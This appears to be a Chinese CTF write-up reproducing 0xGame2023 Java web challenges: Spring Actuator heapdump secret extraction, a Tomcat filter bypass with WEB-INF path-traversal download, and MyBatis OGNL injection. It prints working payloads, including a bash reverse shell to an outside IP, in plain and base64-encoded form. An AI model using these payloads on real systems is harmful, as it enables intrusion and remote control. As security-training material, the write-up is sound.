前言
全是java框架。。。
结果这周太忙了根本没时间做,看看复现跟着做一下
题目复现:https://github.com/X1cT34m/0xGame2023
Web
spring(复现)
Spring Actuator heapdump 利用
- Hint 1: Spring Actuator
- Hint 2: 看看 /actuator/env 再看看 /actuator/heapdump
搜一下相关的漏洞,参考文章(其实这篇文章和本题没啥关系):https://xz.aliyun.com/t/9763
首先是泄露敏感信息,访问/actuator/env
可以读取到配置信息,看来是Spring Boot 2.x
可以发现 app.username 和 app.password这两个环境变量
告诉我们flag就在app.password里,但是它的value全是星号, 这里其实是被Spring给隐藏了
Spring actuator默认会把含有password,secret之类关键词的变量的值改成星号, 防止敏感信息泄露
但是我们可以通过/actuator/heapdump
这个路由去导出JVM中的堆内存信息, 然后通过一定的查询得到app.password的明文
这里要用到JDumpSpider工具提取HeapDump敏感信息:https://github.com/whwlsfb/JDumpSpider
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
auth_bypass(复现)
Tomcat Filter 绕过+java任意文件下载+WEB-INF目录的利用
题目附件
AuthFilter.java
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class AuthFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {
}
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
if (request.getRequestURI().contains("..")) {
resp.getWriter().write("blacklist");
return;
}
if (request.getRequestURI().startsWith("/download")) {
resp.getWriter().write("unauthorized access");
} else {
chain.doFilter(req, resp);
}
}
}
DownloadServlet.java
package com.example.demo;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;
public class DownloadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String currentPath = this.getServletContext().getRealPath("/assets/");
Object fileNameParameter = req.getParameter("filename");
if (fileNameParameter != null) {
String fileName = (String) fileNameParameter;
resp.setHeader("Content-Disposition","attachment;filename="+fileName);
try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
byte[] buffer = new byte[4096];
while (input.read(buffer) != -1) {
resp.getOutputStream().write(buffer);
}
}
} else {
resp.setContentType("text/html");
resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
}
}
}
稍微审一下就可以发现DownloadServlet.java里/download存在任意文件下载,但是在AuthFilter.java中最底下的if-else语句限制了我们不能访问/download路由,会显示未授权访问
- Hint 1: Tomcat Filter 绕过 (网上有类似的文章 也可以自己尝试 fuzz 一些畸形 url 路径)
这里找了一篇讲filter权限绕过的文章:https://www.cnblogs.com/nice0e3/p/14801884.html
可以知道,直接通过getRequestURI()
得到的url路径不会自动urldecode,也不会进行标准化(即去除多余的/
和..
)
而上面AuthFilter.java已经把..
过滤了,所以用//download
访问绕过即可
http://124.71.184.68:50042//download?filename=avatar.jpg
成功下载文件
尝试直接下/flag失败,应该是权限不够需要RCE
- Hint 2: 题目通过 war 包部署 预期需要 RCE 尝试通过任意文件下载获取更多信息
- Hint 3: 利用 WEB-INF 目录
Tomcat在部署war压缩包的时候会将其解压,而压缩包内会存在一个WEB-INF目录,目录里面包含编译好的.class文件已经web.xml(保存路由和类的映射关系)
下载web.xml,用url编码..
http://124.71.184.68:50042//download?filename=%2e%2e/WEB-INF/web.xml
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>IndexServlet</servlet-name>
<servlet-class>com.example.demo.IndexServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.example.demo.DownloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>EvilServlet</servlet-name>
<servlet-class>com.example.demo.EvilServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>EvilServlet</servlet-name>
<url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
</servlet-mapping>
<filter>
<filter-name>AuthFilter</filter-name>
<filter-class>com.example.demo.AuthFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>AuthFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
发现存在EvilServlet,映射的路由/You_Find_This_Evil_Servlet_a76f02cb8422
,直接访问会返回405
那么我们通过构造包名(这里根据上面的java文件猜测包名为com.example.demo.EvilServlet)来下载对应的class文件
http://124.71.184.68:50042//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class
反编译class文件
package com.example.demo;
import java.io.IOException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/* loaded from: _WEB-INF_classes_com_example_demo_EvilServlet.class */
public class EvilServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
try {
Runtime.getRuntime().exec(cmd);
resp.getWriter().write("success");
} catch (Exception e) {
resp.getWriter().write("error");
}
}
}
很明显直接POST访问/You_Find_This_Evil_Servlet_a76f02cb8422
然后传入参数Evil_Cmd_Arguments_fe37627fed78
就能命令执行,由于是exec没有回显,需要反弹shell或者curl外带
bash -i >& /dev/tcp/115.236.153.170/35940 0>&1
payload生成:https://www.adminxe.com/tools/code.html
要把生成的弹shell命令进行一次url编码,把+
和=
编码掉
把前面的空格替换成+,具体原因参考:https://www.anquanke.com/post/id/243329
bash+-c+{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzU5NDAgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}
成功弹shell
flag在根目录下,用/readflag读取
YourBatis(复现)
MyBatis低版本OGNL注⼊
- Hint 1: 关注题目名称/描述 以及 pom.xml 中的依赖
jadx-gui反编译jar包,查看META-INF中的maven/com/example/YourBatis/pom.xml
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.1</version>
</dependency>
存在mybatis依赖,版本2.1.1
看controller
package com.example.yourbatis.controller;
import com.example.yourbatis.entity.User;
import com.example.yourbatis.mapper.UserMapper;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
/* loaded from: YourBatis.jar:BOOT-INF/classes/com/example/yourbatis/controller/IndexController.class */
public class IndexController {
@Autowired
private UserMapper userMapper;
@RequestMapping({"/"})
public String index() {
return "Hello World!";
}
@RequestMapping({"/user"})
public String user(@RequestParam(value = "username", defaultValue = "") String username) {
if (!username.isEmpty()) {
User user = this.userMapper.getUserByUsername(username);
return user.toString();
}
List<User> userList = this.userMapper.getUsers();
return userList.toString();
}
}
得知存在/user路由,可传入username参数
- Hint 2: SQL 注入不是考点 题目需要 RCE
- Hint 3: MyBatis RCE 尝试结合网上的文章构造 Payload
参考文章:https://www.cnpanda.net/sec/1227.html
直接看provider中的UserSqlProvider类
package com.example.yourbatis.provider;
import org.apache.ibatis.jdbc.SQL;
/* loaded from: YourBatis.jar:BOOT-INF/classes/com/example/yourbatis/provider/UserSqlProvider.class */
public class UserSqlProvider {
public String buildGetUsers() {
return new SQL() { // from class: com.example.yourbatis.provider.UserSqlProvider.1
{
SELECT("*");
FROM("users");
}
}.toString();
}
public String buildGetUserByUsername(final String username) {
return new SQL() { // from class: com.example.yourbatis.provider.UserSqlProvider.2
{
SELECT("*");
FROM("users");
WHERE(String.format("username = '%s'", username));
}
}.toString();
}
}
明显可以看出来username被直接拼接到了sql语句中,对照参考文章,存在OGNL表达式注入
一般可以直接弹shell
${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA-JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzU5NDAgMD4mMQ}|{base64,-d}|{bash,-i}")}
- Hint 6: 在进行 RCE 的时候 因为 OGNL 的解析问题 所以最终传入 Runtime.exec() 的命令内不得包含
{
和}
,可以尝试编码绕过
值得留意的一点是,传入的命令如果包含了 {
和 }
, 会被递归解析为另⼀个 OGNL 表达式的开头和结尾
所以我们还要对payload做编码处理,总之不出现大括号即可
这里用官方wp的base64编码来做
${@java.lang.Runtime@getRuntime().exec((new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQS1KaUF2WkdWMkwzUmpjQzh4TVRVdU1qTTJMakUxTXk0eE56QXZNelU1TkRBZ01ENG1NUX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}
最后用bp的编码工具全部编码为url,再作为参数值发包
但是我这里没弹成shell。。。
TestConnection(未完成)
MySQL / PostgreSQL JDBC URL Attack
- Hint 1: JDBC 会不会存在一些漏洞?